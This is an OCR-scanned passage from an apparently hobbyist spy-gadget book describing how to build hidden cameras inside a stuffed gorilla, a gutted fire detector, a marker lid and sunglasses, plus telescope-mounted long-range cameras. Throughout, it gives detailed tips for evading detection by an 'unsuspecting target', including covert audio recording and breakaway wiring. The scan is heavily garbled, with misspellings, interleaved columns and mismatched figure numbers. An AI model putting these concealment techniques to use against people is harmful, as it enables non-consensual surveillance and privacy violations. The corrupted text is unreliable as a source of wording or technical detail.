than  three  or  four  bare  wires  protniding  from  (he 
body  of  the  camera.  The  connecter  version  of  (be 
camera  is  a "no*brajner"  insiallaiion.  and  the  only 
thing  you  have  to  be  careful  of  is  (he  vohage  on 
the  power  adapter  or  battery  pack.  You  will  not  get 
a second  chance  if  you  reverse  the  polarity  or 
exceed  the  camera's  voltage  rating:  that  1 can 


Figure  B-2  A micro  camera  with  pigiail  connector 
jAith’ji  Hiih  mv  povt'cr  sources. 


assure  you  of  from  costly  personal  experience.  The 
downside  of  a connector  ready  camera  is  the  fact 
(hat  the  connectors  may  take  up  more  space  than 
the  actual  camera,  so  mounting  the  unit  will 
require  oversized  holes  to  be  drilled,  or  wasted 
space  inside  the  container.  The  ‘'plgiair  style 
camera  will  have  no  connectors,  so  you  are  free  to 
add  whatever  type  and  size  connector  you  desire, 
but  obviously  much  more  care  must  be  taken  lo 
avoid  (timing  your  microcamera  into  a single  use 
smoke  bomb.  A typical  pigtail  connector  will  look 
like  the  one  shown  in  Figure  6>2.  and  a.s  you  can 
sec.  the  camera  is  the  smallest  device,  dwarfed  by 
both  (he  9-vol(  battery  and  DC  adapter 

There  will  most  likely  be  three  wires  coming 
from  your  camera,  a DC  power  connection 
(usually  red),  a video  output  connection  (usually 
yellow  or  while  K and  a common  ground 
connection  (usually  black  or  green).  There  may  be 
two  ground  connectors  (one  f<»‘  video  and  one  for 
power),  or  a third  signal  wire  if  your  camera  has  a 
buill'in  microphone,  so  if  you  are  not  absolutely 
certain  of  the  wiring  col<^  code  then  reference  Ihe 
usual  manual  if  you  have  one.  Battery  usage  is  by 
far  the  safest  method  used  to  power  your  camera 
as  you  can  be  certain  that  the  voltage  will  never 
^ike  past  the  batteries'  rating,  an  all-too  common 
problem  with  inexpensive  DC  power  adapters. 
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Many  DC  power  adapters  wiD  exceed  the  printed 
voltage  rating  by  severaJ  vc^is,  which  may  cause  the 
camera’s  small  voltage  regulator  to  ruQ  hot,  or  just 
plain  destroy  the  camera,  so  test  your  adapter  with  a 
voltmeter  before  ccMuiectioQ  to  the  power  leads. 
.Another  problem  with  DC  adapters  is  the  poor 
regulation  resulting  in  a large  AC  component  into 
the  camera.  Again,  this  will  overheat  the  regulator  or 
cause  pixel  bright  spots  after  a few  minutes  of 
operation.  The  best  type  of  DC  adapter  to  use  on 
microcameras  is  one  with  an  eketronk  voltage 
regulator,  not  just  a simple  diode  and  capacitor 
setup  as  those  are  horrendously  noisy.  When 
running  from  a battery,  you  must  deiermine  how 
long  the  camera  will  run,  either  calculating  the  amp 
hour  rating  of  your  battery  pock  and  dividing  this  by 
the  current  draw  of  (he  camera,  or  by  simply 
draining  your  buiieries  in  a controlled  trial  run  <a 
much  belter  test  for  accuracy).  Some  of  the  small 
cameras  can  run  for  hours  off  a freshly  charged  9* 
volt  battery,  while  others  may  last  only  minutes, 

The  video  output  wire  is  going  to  connect 
directly  to  your  transmiltcr  or  recording  device,  and 
It  will  carry  a standard  NTSC  video  signal,  just  like 
any  consumer  video  device  with  jacks  labeled 
video  input  or  video  output.  There  is  no  magic  lo 
connecting  (he  microcamera  to  the  video  input  on  a 
VCR  or  any  other  device  with  a suuvdard  video 
input:  just  use  a shielded  coaxial  wire,  and  make 
sure  (he  video  line  is  connected  to  the  center  signal 
wire.  The  quality  of  the  video  wiring  is  not  nearly 
as  important  as  it  would  be  when  working  with 
dubbing  cables  or  broadcast  quality  video,  and  1 
have  even  managed  to  get  a clean  video  signal 
through  100  feci  of  live  telephone  wire  by  booking 
the  video  output  and  grourtd  connection  from  (he 
camera  into  the  unused  yellow  and  black  pair  of 
w ires  in  the  telephone  cable.  Thai  ugly  hack  was 
necessary  due  to  the  small  amount  of  time  I had 
available  in  order  to  install  a covert  camera,  but  it 
did  in  fact  wort:,  although  1 would  always 
recommend  a proper  shielded  cable  for  video. 

When  it  comes  to  lens  choice,  the  obvious  factor 
when  installing  a covert  spy  cam  will  be  the 


overall  size  of  the  lens,  which  is  why  the  pinhole 
style  is  by  far  the  most  widely  used.  These  tiny 
lenses  are  made  from  a bit  of  precision  ground 
glass  measuring  as  little  as  ^ th  of  an  inch  across 
and  can  see  through  a tiny  bole  drilled  in  an  object 
chat  nobody  would  ever  suspect  that  there  may  be  a 
camera  hidden  inside.  For  example,  the  standard 
bole  through  a shirt  button  is  actually  too  large  for 
most  pinhole  camera  installations  I The  pinhole 
lens  does  have  a few  drawback.^,  however,  and 
these  include  the  lack  of  choices  in  field  of  view, 
and  for  very  low  light  conditions  they  are  not 
nearly  as  good  as  larger  lenses  such  as  the  ^>inch 
microlens.  Of  couise.  if  the  lighting  is  very  dim. 
then  deieciion  of  (he  camera  will  also  be  more 
difficult,  so  (here  is  a trade‘off  in  that  department. 

Field  of  view  is  very  imponani  when  installing  a 
coven  camera  to  capture  (he  details  in  a scene  such 
as  a recognizable  face,  or  license  plate  number.  If 
you  get  too  much  of  (he  Kene  in  your  recording, 
there  will  be  a great  loss  of  detail,  even  after  video 
processing,  so  you  must  decide  between  wide 
angle  as  shown  on  the  left  in  Figure  6-3,  or  a 
narrower  field  of  view  as  shown  on  the  right  half 
of  Figure  6>3.  There  will  be  a usable  balance 
between  (he  amount  of  scene  versus  the  detail 
when  choosing  a len.t. 

As  you  can  see  In  Figure  6-3.  the  80  degree 
wicle>angle  shcM  on  (he  left  lets  us  watch  over  all 
four  of  the  parked  cars  plus  the  activity  in  (he 
center  of  the  frame,  but  there  is  very  little  detail 
available  such  as  license  plate  recognition  or  any 
chance  of  pulling  a usable  facial  identification.  The  ^ 
60  degree  Geld  of  view  shown  on  the  right  .^ide  of  g 
Hgure  6*3  leis  us  identify  the  face  of  the  man  in  ^ 
center  frame,  and  most  likely  the  license  plate  with  ^ 
a bil  of  video  enhancement,  but  only  one  of  the  ^ 
four  parked  cars  will  be  under  surveillance.  Wide*  CO 
angle  lenses  can  be  made  that  get  an  entire  room 
into  the  scene  at  once,  but  the  video  will  appear 
warped  like  viewed  from  a fish  eye  perspective, 
while  on  the  other  end  of  the  scale,  telephoto 
lenses  can  be  made  that  will  compete  with  some 
binoculars’  zoom  rating  for  far  away  shots. 
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Project  33— Classic  Nanny  Cam 


Figure  6*3  Mde  onf(lf  (left)  compared  to  narrow  field  of  view(ri^h). 


When  choosing  a microcamera.  ii  is  bcsi 
tu  understand  a bii  about  the  lens  type,  field 
of  view  and  the  lux  ratings  before  purchase,  as 
these  factors  will  influence  the  type  of  installaiion 
and  usefulness  of  the  camera  in  a given 


envirorunent.  I typically  work  with  six  or 
more  different  style  nucrocameras  in  my  spy 
kit.  and  keep  many  different  styles  of  lenses 
on  hand  for  those  cameras  that  offer  replaceable 
lenses. 


Project  33 — Classic  Nanny  Cam 


When  video  clips  from  hidden  camera  "Nanny 
cams"  .started  to  become  headline  news  in  the  late 
1990s.  the  hidden  camera  industry  made  it  to  the 
mainstream  tn  a big  way.  Within  months,  spy  video 
stores  started  popping  up  on  the  Internet  like 
weeds  in  a garden,  raking  in  thousands  of  simple 
hidden  camera  installations  such  as  those  in  stuffed 
animals  and  baby  monitors.  There  is  nothing 
wrong  with  protecting  your  own  personal  property 
and  loved  ones,  and  the  classic  Nanny  cam  can  he 
built  and  installed  by  anyone  who  can  change  a 
light  bulb.  The  key  to  creating  a covert  Nanny  cam 
is  where  and  how  to  place  the  video  camera  in 
such  a way  that  it  is  undetectable,  even  by 
snooping  subjects.  And.  with  inexpensive  pinhole 
cameras  available  today,  this  is  a low>cost  aiMl 
fairly  simple  task.  You  will  need  to  find  a place  in 


the  room  you  plan  to  monitor  where  your  camera 
can  cover  ns  much  of  the  scene  as  possible,  taking 
into  account  both  lighting  and  availability  of  a 
recording  device  and  power  source  if  you  don't 
plan  10  include  it  in  the  installation.  Most  likely 
you  will  want  to  record  your  Nanny  cam  video  to 
some  type  of  VCR  so  that  it  can  be  set  to  come  on 
after  you  are  not  around,  or  at  certain  preset 
intervals.  The  VCR  will  need  to  be  relocated  if  it  is 
in  a totally  obvious  place  in  the  room,  or  if  the 
possibility  exists  that  the  subject  may  actually  try 
to  use  it  to  play  a movie.  Seeing  the  word 
"recording”  on  the  front  panel  of  a VCR  may 
trigger  some  people  to  switch  on  the  TV  to 
discover  that  they  are  in  fact  the  star  of  your  own 
reality  show— not  good!  Another  thing  to  consider 
when  setting  up  placement  for  the  Nanny  cam  is 
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Rgure  6-M  Ituialling  video  and  power  connecion 
auo  a stuffed  toy  animal. 


«h«re  the  lighting  is  located  in  the  room,  as 
bnght  lamps  will  swamp  the  image  sensor  in 
tnost  cameras  if  (hey  are  included  in  the  fnune, 
.'tsuldng  in  subjects  that  look  like  moving 
shadows.  An  object  should  also  look  like  it  belongs 
tn  the  room,  as  you  want  to  draw  as  link  attention 
to  the  object  os  possible,  especially  if  picking  it  up 
«ould  reveal  the  power  and  video  wiring  coming 
oat  of  the  back,  A stuffed  animal  provides  a fair 
amount  of  room  inside  for  equipment,  offers  a 
simple  mounting  scheme  for  a pinhole  camera  (in 
the  plastic  eyes),  and  does  not  look  out  of  place  on 
any  decorative  shelf  or  tabletop.  Figure  M shows 
the  video  output  cable  and  DC  power  connector 
being  installed  into  an  incision  cut  in  the  underside 
of  «j  stuffed  goKlla  who  will  soon  be  gelling  ihe 
gift  of  sight. 

It  is  always  best  to  install  the  connectors  as  dose 
to  (he  body  of  the  object  used  to  hide  the  Nanny 
cam  as  possible  so  that  only  the  wire  will  run  from 
the  camera  to  the  VCR,  rather  than  allowing  (be 
large  connectors  to  dangle  in  plain  view,  The  color 
and  size  of  the  wiring  used  will  also  add  to  the 
covertness  of  the  installation,  so  choosing  a wire 
that  is  as  close  to  the  color  of  the  wall  as  possible 
is  always  a good  idea.  Have  a look  ai  Project  35, 
Covert  Marker  Cam.  for  a novel  idea  using  thin 
copper  wire  that  can  easily  eaisi  without  detection 


Rgurp  &-S  No  real  poriUas  were  harmed  durins  ihe  ^ 
camera  installation  process.  ^ 
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in  plain  view,  and  break  away  from  Ihe  device 
if  i(  were  moved  due  to  suspicion.  If  you  really  Z 
want  10  get  sneaky,  you  could  install  a wall  or  {U 
sbelf  mourned  connector  box  that  the  stuffed  3 

animat  literally  docks  to.  This  way  if  anyone  picks  ^ 
(he  unit  up.  it  will  seem  as  though  it  were  never  ^ 
connected  lo  anyihijjg.  However  you  decide  to  run  - 
the  wiring,  just  try  (o  make  it  as  tough  to  find  us 
possible.  The  camera  itself  should  be  mounted  so  g 
that  the  lens  hole  blends  into  the  object  as  much  as 
possible,  and  if  you  can.  use  an  existing  button 
hole,  or  some  opening  in  the  enclosure  large 
enough  for  the  lens,  hut  small  enough  not  to  draw 
aitenilon  or  look  out  of  place.  F6r  my  installation, 
one  of  the  large  plastic  eyes  was  a perfect  choice 
as  it  pul  the  camera  up  high,  and  in  a position  that 
would  allow  for  easy  adjustment  towards  the 
scene.  The  small  hole  that  was  drilled  in  one  of  the 
eyes  did  not  draw  any  aiienUon  to  the  installation, 
and  even  on  close  inspection  did  not  look  like  any 
rype  of  video  camera.  Figure  6*5  shows  the  small 
drill  bit  making  a hole  into  the  center  of  one  of  the 
plastic  eyes  by  hand  turning  it  to  avoid  damage. 

The  hole  that  has  to  be  drilled  should  be  only 
slightly  larger  than  the  actual  camera  lens,  and  it  is 
better  lo  scan  by  drilling  the  hole  too  small  first 
(hen  increase  the  drill  bit  size  until  there  are  no 
blank  areas  or  shadows  in  the  video.  The  camera 
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Ff9ure  6*7  Tht  addition  of  a small  VCR  eUmlmies 
all  suspicious  cables  friMn  the  Nanny  ram. 

To  take  this  project  lo  ibe  next  level  of 
covenness,  I decided  that  there  was  plenty  of 
room  inside  the  large  stuped  body  for  a small 
video  recording  unit  and  all  of  the  necessary 
batteries  In  order  to  create  a fully  self-contained 
video  recording  Nanny  cam.  This  unit  is  perfect 
installations  where  cabling  may  be  too  obvious, 
or  when  time  is  of  the  essence,  as  it  only  takes 
10  seconds  to  get  the  unit  implanted  and  recording 
video.  The  small  VCR  uses  digital  videotape,  and 
can  record  f<^  several  hours  of  live  video  or  many 
hours  of  time-lapse  video.  It  also  has  an  audio 
input  so  the  addition  of  an  electret  microphone  and 
some  type  of  sensitive  audio  preamplifier  makes 
this  a complete  solution  for  many  types  of  covert 
surveillance  wortt:  well,  at  least  any  Job  where  a 
large  furry  gorilla  would  not  seem  out  of  place. 
The  camera  is  powered  directly  from  the  VCR's 
main  battery  by  tapping  the  12- volt  lead  wires  and 
installing  an  external  ccmneclor:  and  depending  on 
(he  size  and  quality  of  the  battery,  several  hours 
can  be  had  from  a single  cha^.  To  install  the 
VCR  and  battery  pack  into  the  gorilla,  a lot  of 
stufllng  had  to  be  removed,  but  again,  this  did  not 
harm  the  goiilla  in  any  way!  Figure  6-7  shows  the 
small  VCR  that  was  placed  into  the  belly  of  the 
gorilla  for  self-contained  video  recording 
operadOD. 


Figure  6-6  The  gorilia  cam  worts  gmsi  and  hides  its 
true  Ideniiry  very  well. 


should  be  placed  as  close  to  the  hole  as  possible  in 
order  to  avoid  seeing  the  edges  of  the  material. 
Thi.'^  is  why  the  conicnl  pinhole  camera  is  the 
better  choice  for  this  type  of  installaiion.  There  is 
no  golden  rule  or  technique  when  it  comes  to 
fastening  the  camera  inside  the  enclosure,  but  you 
should  try  to  find  a balance  between  solidness  and 
remove  ability,  especially  if  you  plan  to  use  the 
camera  from  some  other  installation  later  down  the 
road.  A little  bit  of  hot  glue  and  some  bits  of 
plastic  strip  or  similar  material  goes  a long  way  in 
securing  a small  camera  yet  allows  the  removal  of 
(he  unit  without  damage  at  a later  time.  If  you  plan 
on  making  this  permanent  Installation,  then  go 
ahead  and  pour  in  the  hot  glue  or  epoxy  once  you 
find  the  perfect  insullation  location.  Once  your 
Nanny  cam  is  ready,  it  should  be  able  to  capmre 
a clear  unobstructed  area  of  the  room  to  be 
monitored  without  any  possibility  of  detection, 
and  alignment  should  be  as  easy  as  turning  the 
enclosure  to  point  in  the  desired  locaiicm. 

Figure  6-6  shows  my  completed  gorilla  Nanny 
com  with  (he  conical  pinhole  lens  micro  camera 
mounted  covertly  behind  the  right  eye.  Even  an 
experienced  covert  spy  would  probably  fail  (o  see 
(he  lens  behind  the  tiny  opening  in  the  right  eye. 
and  it  would  almost  certainly  fool  the  average 
person  even  if  they  had  a close  visual  inspection, 
as  the  lens  ju.st  looks  like  some  kind  of  flaw  or 
fastening  hole  in  the  plastic  eye. 
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The  self-contaiaed  Kacmy  cam  works  flawlessly, 
and  can  be  setup  and  running  within  seconds  lo 
begin  recording  audio  and  video  from  the  target 
location.  When  the  tape  runs  out.  or  the  batteries 
are  depleted,  the  unit  simply  shuLs  down  without 
making  a sound,  and  then  the  tape  is  retrieved  ai 


the  next  window  of  oK»ormnity  for  playback.  If 
the  unsuspecting  target  visually  inspects  the 
gorilla,  it  just  feels  a bit  heavy,  but  other  than  that, 
there  are  no  visible  signs  of  its  true  life  as  a covert 
spy  in  (be  w<xld  of  the  Evil  Genius.  Here’s  lookin' 
aiyou! 


Pralect  3M — Night  Vision  Fire  Detector  Cam 


Not  all  the  evil  deeds  that  you  may  be  trying  lo 
coanieract  will  occur  in  the  daytime.  ore>‘en  with 
the  lights  on;  but  not  to  worry  as  this  covert  spy 
cam  installation  will  be  your  eyes  even  when  ihe 
lights  are  out.  Ute  fur  detector  cam  has  been  a 
favorite  for  law  enforcement  as  it  will  go 
completely  undetectable  and  allow  positioning 
directly  over  a target  area  such  as  a cash  register  or 
vome  other  restricted  area.  The  fire  detector  is 
mounted  well  above  the  subject  so  close  irLspeciion 
is  impossible,  and  even  so.  who  would  become 
auspicious  of  a tiny  hole  (hat  looks  just  like  a boll 
or  sensor?  With  the  addition  of  a few  infrared 
LEDs,  the  low  lux  black  and  white  pinhole  camera 
will  see  in  complete  darkness  to  foil  (he  nighnime 
burglar. 

Siari  by  gutting  everything  out  of  a fire  detector, 
making  sure  to  safely  dispose  of  the  small 
‘sdioactive  sensor,  os  it  will  be  of  no  use  in  any 
other  project  (yes.  the  little  metal  can  does  coniain 
radioactive  material,  but  not  enough  to  harm  you). 
Even  if  you  could  easily  install  the  camera  into  the 
working  fire  detector,  do  not  be  tempted,  as  you 
may  interfere  with  its  operation,  and  the  cost  of  a 
Tplacement  unit  is  not  worth  risking  your  life  for. 
With  tbc  Insides  removed,  choose  the  installation 
ooini  for  your  pinhole  camera,  preferably  through 
m existing  opening  such  as  the  test  button  or  a 
»lthole  of  some  kind.  Lf  you  have  to  drill  a new 
for  the  camera,  make  it  only  as  large  as 
^*es$ary.  and  clean  it  up  so  it  looks  like  it  was 


made  at  the  factory.  As  shown  in  Figure  M. 

I installed  my  pinhole  camera  overtop  the  lest 
button  using  a bit  of  coat  hanger  wire  to  holt  it 
in  place  for  easy  removal  later  Unlike  the  Nanny 
cam  presented  earlier,  there  will  be  no  chance  of 
anyone  playing  around  with  the  fire  detector  or 
moving  I u so  the  camera  does  noi  have  to  be  held 
in  place  $o  much  that  it  is  hard  to  remove  for  some 
future  project. 

The  infrared  LEDs  are  the  same  type  used  in 
remote  controls  such  as  those  used  on  televisions 
and  VCRs.  They  give  off  light  in  the  880-940  nm 
invisible  infrared  spectrum  and  cun  only  be  seen 
by  our  camera,  not  the  human  eye.  Because  we 
will  be  no  more  than  10  feet  away  from  the 


RguTE  6-0  Mounting  ihe  pinhole  camera  lens 
through  the  test  button  opensr\g. 
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Project  34— Night  Vision  Fire  Detector  Cam 


Project  35— Covert  Marker 


<d 

u 


Figure  6-9  77if  eomplfied  night  vision  firr  dewior 
cant. 

subject  (depending  on  ihe  height  of  the  ceiling), 
the  LEDs  wiU  cast  more  than  enough  light  for  the 
camera  (o  view  the  scene  as  though  it  were  being 
lit  directly  by  an  overhead  flashlight,  arnl 
depending  on  the  number  of  LEDs  used  and  their 
field  of  view,  you  can  expect  an  area  of  between 
4 and  10  feet  wide  to  be  perfectly  lit.  The  LEDs 
should  be  wired  in  whatever  series  or  parallel 
configuration  needed  in  order  to  share  the 
camera*s  DC  power  supply.  My  LEDs  are  rated 
for  1.2- volts,  so  wiring  them  in  series  will  allow 
each  LED  to  see  I volt,  and  although  this  is 


below  the  optimal  rating,  there  wa.s  still  plenty 
of  emitted  light  for  my  sensitive  camera.  Infrared 
LEDs  are  not  fond  of  any  amount  of  over  voltage, 
so  a linJe  less  is  much  better  than  a little  more. 

If  your  camera’s  power  source  is  not  suited  for 
driving  the  LEDs,  they  can  be  run  from  a 
regulator  and  a separate  power  source  such  as 
battery  or  another  DC  adapter.  When  working 
properly,  the  fire  detector  cam  will  capture  ail 
the  necessary  details  directly  above  the  target 
scene,  even  when  the  lighting  becomes  very  dim 
or  non  •ex  i stent  thanks  to  our  invisible  light 
produced  by  the  LED  array.  Figure  6-9  shows  my 
completed  night  vision  fire  detector  camera  ready 
for  coven  msiallarion  in  just  about  any  possible 
location. 

InsialJaiion  of  the  hre  detector  cam  will  require 
the  run  of  at  least  one  cable  for  the  video  camera 
output,  so  you  will  have  three  options— a cable 
running  along  the  ceiling  (not  (he  best  way  to  go), 
a c^le  through  a hole  in  the  ceiling  (good  option 
if  possible),  or  a video  transmitter  running  from 
batteries  (best  <^ion  if  budget  allows).  The  video 
transmitter  option  is  a bit  more  complex  and 
costly,  but  if  you  like  to  (inker  with  electronics, 
have  a look  at  Section  10  as  it  deals  with  them 
in  more  detail  with  a few  simple  home  brew 
transmitters  shown. 


Project  35 — Covert  Marker  Cam 


Here  is  a novel  approach  lo  installing  a very  tiny 
microcamera  into  a marker  Lid  so  that  it  will  not  be 
detected  by  the  subject  even  if  be  or  she  picks  up 
the  marker  for  visual  inspection.  The  key  to  this 
stealthy  installation  is  in  the  ultrafine  copper  wire 
used  to  cany  the  power  and  video  signals  to  the 
hidden  VCR  or  transmitter.  If  the  marker  is  picked 
up  from  where  it  sites,  the  ultra  thin  wires  will 
simply  snap  right  oil  and  look  like  nothing  but  a 
few  Strands  of  hair  to  the  unsuspecting  subject. 


The  camera  itself  is  so  small  that  it  fits  right  into 
the  marker  lid.  and  with  a little  careful  hole 
drilling,  you  can  actually  leave  the  marker  imaci, 
so  if  il  were  picked  up  it  would  still  function  as 
it  dwuld.  Figure  6-10  shows  the  materials  that 
are  needed  for  this  project — a very  small  video 
camera  with  pinhole  lens,  some  type  of  marker 
(hat  dte  camera  will  rif  into,  and  the  finest 
copper  wire  (hat  you  can  fiiid.  Here.  I have  a 
spool  of  fine  c^jper  wire  taken  riom  the 
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Fl9ure  6‘ID  A microcamera  with  pinhote  lem  wiU fit  into  the  marker  fuf. 


Figure  6*11  The  coven  marker  cam  and  its  breakaway 
mounting  box. 

elecirom^ignct  of  a small  solenoid  removed  from 
3 broken  photocopier 

The  fine  wire  must  be  coaled  with  some  type 
of  insulating  enamel,  not  just  a plain  conductor 
or  there  will  a short  circuit  caused  as  soon  as  (be 
wires  cross  each  other.  This  fine  copper  wire  is 
red  or  orange  in  color  and  can  be  found  by  taking 


apart  small  iransfurmers,  solenoids,  and  relays 
used  in  elecucmic  appliances.  The  key  to  this 
installation  Is  using  as  fine  a wire  as  you  can  find, 
and  keeping  the  distance  between  the  wire  and  the 
''breakpoint*'  as  sbon  as  possible.  The  breakpoint 
is  the  area  where  the  wire  will  disappear  from  view  ^ 
such  as  a hole  in  a counter,  desk,  or  wall:  the  other 
end  of  the  thin  wire  will  connect  to  a block  with  p 
twist  connectors.  The  coating  on  the  fine  wire  musi 
be  scraped  oft  before  use.  and  this  is  a patient 
process  done  by  rubbing  a sharp  razor  or  utility 
knife  along  the  tip  until  the  color  changes  from  red 
copper  to  bare  steel.  Once  the  enamel  coating  has 
been  removed,  (he  thin  wire  can  be  soldered  to  the 
camera  and  held  to  (he  twist  connectors,  providing 
a good  conductor  for  the  video  and  power.  The 
chosen  wire  should  snap  with  very  liule  resistance 
and  look  like  a bit  of  hair  just  in  case  the  subject 
deckles  to  pick  the  marker  up  from  its  location  on 
the  desk  or  counter.  Figure  6*  1 1 shows  my  marker 
cam  and  connecting  block  made  from  three  twist 
connect4xs  fastened  to  a leiepbone  extension  box. 

The  wire  shown  in  Figure  6-11  is  actually  a little 
too  heavy  for  this  project  only  because  I had  a 
difficult  time  photographing  the  actual  wire  I used, 
but  it  does  show  the  general  idea.  The  video  output 
cable  and  power  connector  are  soldered  directly  to 
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35^Covert  Marker 


Project  3 6^WY  S I WY  G Sunglasses 


twist  connectors  in  the  moujidiig  box  fcr  easy 
connection  to  standard  video  recoiding  equipment. 
In  actual  use  the  mounting  box  is  placed  out  of 
view  under  a desk  or  on  the  other  side  of  a wall 
and  the  One  wire  is  fed  through  a hole  made  as 
small  as  possible  with  a drill  bit  or  by  pounding 
a finishing  nail  into  the  surface  then  removing  it. 
By  keeping  the  fine  wires  as  short  as  possible, 
they  will  usually  break  right  at  the  marker  base 
revealing  nothing  odd  about  the  unit  upon  close 
visual  inspection.  The  one  thing  to  be  careful  of 
when  building  the  covert  marker  com  is  the  correct 
installatlou  of  the  thin  copper  wire  onto  (he  twist 


coDoectors.  There  will  be  no  visible  difference 
between  any  of  the  three  wires.  1 like  ro  de  a 
double  knot  in  the  power  wire,  and  a single  knot 
in  the  video  wire  near  the  connector  end  so  that 
DO  mistake  (besides  an  obvious  one)  will  be  made 
when  connecting  the  wires  to  the  twist  connector 
box.  Other  than  that,  this  little  unit  is  a great 
performer  and  the  only  time  the  wires  were  ever 
snapped  was  during  testing  on  my  workbench. 
Hc^fuUy  the  day  will  soon  come  when  1 cun  find 
a video  recorder  small  enough  to  jam  right  into  the 
martcer  as  well,  (hen  I won't  need  any  wires  when 
setting  these  covert  cameras  up. 


Project  36 — LUY51UJYG  Sunglasses 


WYSIWYG  is  a short  form  for  “what  you  sec  is 
what  you  get."  and  that  Is  exactly  why  it  suits  this 
next  project  perfectly.  By  installing  a very  smaJl 
pinhole  camera  behind  the  lens  of  a pair  of 
sunglasses,  we  con  walk  around  recording  live 
video  just  as  if  we  were  holding  a camcorder  right 
out  in  plain  sight.  This  is  (he  ultimate  way  to 
gather  whatever  video  evidence  or  footage  you 
need  without  worrying  about  camera  ohcniation 
or  position,  since  you  are  in  complete  control. 

A small  VCR  is  worn  on  the  body  or  carried  in  a 
hip  pouch,  or  if  you  only  need  to  cover  a small 
distance  and  dress  lightly,  a transmitter  could  also 
be  used.  There  really  isn't  a whole  lot  that  I can 
say  about  this  project  besides  the  fact  that  it  is  by 
far  the  best  way  to  get  video  if  being  in  the  scene 
is  not  going  to  present  a problem  for  you.  All  you 
have  to  do  is  place  the  tiny  camera  behind  one  of 
the  sunglass  lenses  so  that  its  lens  is  as  close  to 
(he  surface  of  (he  sunglass  leas  as  possible  in 
order  to  reduce  back  reflections.  Simply  fasteu  the 
camera  and  its  wiring  in  place  with  a few  spots  of 
hoi  glue,  and  you  are  ready  for  action.  Figure  6-12 
shows  the  very  small  camera  (previously  used  in 


(he  coven  marker  com)  glued  in  place  behind 
one  of  the  lenses  in  my  favorite  pair  of 
sunglasses.  Because  of  the  almost  onc'wuy 
effect  of  the  dark  len.ses,  there  is  no  possibility 
of  seeing  the  camera,  and  as  for  wiring,  1 just 
ran  some  of  the  ultra  fine  copper  wire  used 
previously  in  the  covert  marker  camera  project 
down  the  back  of  my  neck  into  the  video  recorder 
in  my  pocket. 


Fisure  6'I2  These  sunglasses  not  only  look  cool,  they 
also  record  everything  you  look  at. 
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If  you  have  long  hair  or  plan  to  wear  a high  The  Mily  problem  you  may  encounter  when  using 

collar  garment,  then  there  is  no  need  to  use  ultra  these  spy  sunglasses  in  real  life  is  when  you  end 

fine  wiring  lo  conneci  the  camera  to  the  VCR,  just  up  in  a situation  where  you  would  be  expected  to 

run  it  right  down  the  back  of  your  neck  under  take  them  off,  but  some  creative  connector 

your  hair.  You  couid  also  add  one  of  those  mounting  couid  get  around  this  problem  if  it  ever 

protector  straps  that  bold  your  glasses  to  your  arose.  Cool  spies  of  course,  never  remove  Iheir 

neck  in  case  they  fall  off.  The  wiring  will  run  sunglasses,  so  I did  not  bother  installing  any 

along  the  strap  right  down  the  back  of  your  ^in.  connectors. 


Project  37 — Long-Range  Video  Cameras 


There  are  times  when  you  must  record  a distant 
^'ene  that  you  either  have  no  access  to.  or  may  be 
located  in  husuie  territory,  so  you  will  need  a way 
to  extend  the  range  of  the  spy  camera  into  the  great 
beyond.  Most  microcameros  offer  very  little  in  the 
way  of  telephoto  lenses,  as  they  are  primarily 
designed  to  record  a nearby  scene  such  as  a room 
or  parking  lot  using  as  wide  an  angle  as  possible 
without  di.sionion.  The  (nicrocameras  that  do  offer 
20om  lenses  ore  still  much  too  underpowered  to 
bring  in  a scene  at  more  than  a hundred  feet,  so 
^ome  type  of  extemol  magnificaiion  device  must 
be  used.  The  fact  that  micro  cameras  usually 
include  a simple  threaded  wide-angle  lens  mode 
from  a small  bit  of  precision  ground  glass  is  a 
good  thing  when  it  comes  to  adapting  the  unit  to 
an  exiemal  device,  since  they  can  be  tweaked  to 
see  through  the  some  type  of  exit  lenses  designed 
for  human  eyes.  Basically,  if  you  can  look  through 
it.  so  con  a spy  camera,  so  this  opens  many  doors 
for  long-range  video  acquisition. 

Mounting  a small  video  camera  to  the  eyepiece 
of  a telescope  or  pair  of  binoculars  is  a very  simple 
process  that  will  only  require  a hit  of  hot  glue  and 
s few  spare  plastic  lens  covers  to  work  with.  As 
9bown  in  Figure  6-0.  all  you  have  to  do  is  cut  a 
bole  in  the  lens  caps  for  each  device  (spy  camera 
xad  optical  device)  then  glue  them  together  so  that 
(be  spy  camera  can  look  into  (he  eyepiece. 


Rgure  6-13  ^tows  a small  board  level  color 
camera  mounted  to  a pair  of  binoculars  and  a very 
low  lux  black  and  white  camera  mounted  to  a 
telescope  eyepiece.  This  simple  process  ensures 
quick  and  easy  removal  of  the  camera  from  (he 
eyepiece  and  requires  no  modifications  to  either 
device. 

The  hole  in  both  the  camera  lens  cap  and 
eyepiece  cover  should  be  <mly  large  enough  to 
allow  the  camera  to  see  through  the  hole  without 
any  shadows  in  (he  video,  and  this  should  be  tested 
before  placing  the  camera  onto  the  eyepiece.  The 
lens  covers  should  fit  snugly  over  the  devices  so 
(hat  (here  i$  no  risk  of  dropping  the  camera  when 


FlguTE  6-13  A pair  of  caps  %Uied  logrther  form  o 

removobU  eyepiece  adapier 
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37  — Long-'Range  Video 


Project  3 8— Micro scope  Video 
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with  low  lux  cameras.  Some  focusing  may  also  be 
required,  but  this  is  very  easy  to  do  by  first 
adjusting  the  focus  ring  on  whatever  optical  device 
you  are  using  and  then  by  turning  the  threaded  lens 
ou  the  spy  camera  in  whatever  diieciion  sharpens 
the  image  the  most.  Usually,  turning  the  camera’s 
tiny  lens  coumerclockwise  will  bring  closer  object 
into  focus — (his  works  like  a macro  setting  on 
a digital  camera.  Rgure  6-14  shows  live  video 
fed  from  a low  lux  black  and  white  camera 
adapted  to  an  inexpensive  department  store 
telescope. 

The  image  is  crisp  and  well  lit  at  a distance  of 
about  a mile,  and  it  looks  better  on  the  monitor 
than  by  simply  looking  into  the  eyepiece  thanks 
to  the  excellent  light  collecting  abilities  of  the 
camera’s  chipset,  The  round  black  border  is 
unavoidable  due  to  the  telescope's  focal  length,  but 
there  is  siUI  plenty  of  image  area  to  work  with. 

You  can  adapt  these  small  cameras  to  just  about 
any  device  designed  to  look  through,  so  long-range 
video  is  not  the  only  thing  possible,  as  you  will  see 
in  the  next  project. 


Figure  6«m  Acquiring  images  at  night  using  a 
telescope  and  a very  low  lux  camera. 


moving  the  unit,  and  if  there  is  too  much  play  on 
either  cap.  an  clastic  band  con  be  used  to  ensure 
that  they  slay  in  place.  When  using  the  long-range 
spy  cam.  the  easiest  method  for  acquiring  a target 
is  by  watching  the  live  video  on  the  monitor,  as  ii 
will  probably  be  brighter  than  wha(  you  can  see 
